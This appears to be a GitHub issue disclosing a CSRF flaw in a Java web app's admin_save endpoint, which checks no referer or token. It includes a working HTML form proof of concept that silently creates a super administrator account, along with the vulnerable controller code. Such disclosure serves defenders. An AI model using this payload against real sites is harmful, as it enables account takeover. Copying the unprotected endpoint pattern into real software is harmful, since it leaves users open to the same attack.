There is a CSRF vulnerability that can add the administrator account （/system/admin/admin_save） #8

diazraelwang · 2020-12-23T12:02:18Z

The Add administrator Function is not check referer and token

PoC：

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
  <form action="http://localhost/system/admin/admin_save" method="POST">
      <input type="hidden" name="adminName" value="Diazrael" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="repassword" value="123456" />
      <input type="hidden" name="nickName" value="Diazrael" />
      <input type="hidden" name="roleId" value="272835742965968896" />
      <input type="hidden" name="email" value="Diazrael&#64;admin&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Problematic code：

//处理和保存管理员信息
    @PostMapping("/admin_save")
    @ResponseBody
    public DataVo addAdminSave(@Valid Admin admin, BindingResult result){
        DataVo data = DataVo.failure("操作失败");
        try {
            if (result.hasErrors()) {
                List<ObjectError> list = result.getAllErrors();
                for (ObjectError error : list) {
                    return DataVo.failure(error.getDefaultMessage());
                }
                return null;
            }
            data = adminService.addAdmin(admin);
        } catch (Exception e) {
            data = DataVo.failure(e.getMessage());
        }
        return data;
    }

A super administrator account has been added successfully

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

There is a CSRF vulnerability that can add the administrator account （/system/admin/admin_save） #8

There is a CSRF vulnerability that can add the administrator account （/system/admin/admin_save） #8

diazraelwang commented Dec 23, 2020

There is a CSRF vulnerability that can add the administrator account （/system/admin/admin_save） #8

There is a CSRF vulnerability that can add the administrator account （/system/admin/admin_save） #8

Comments

diazraelwang commented Dec 23, 2020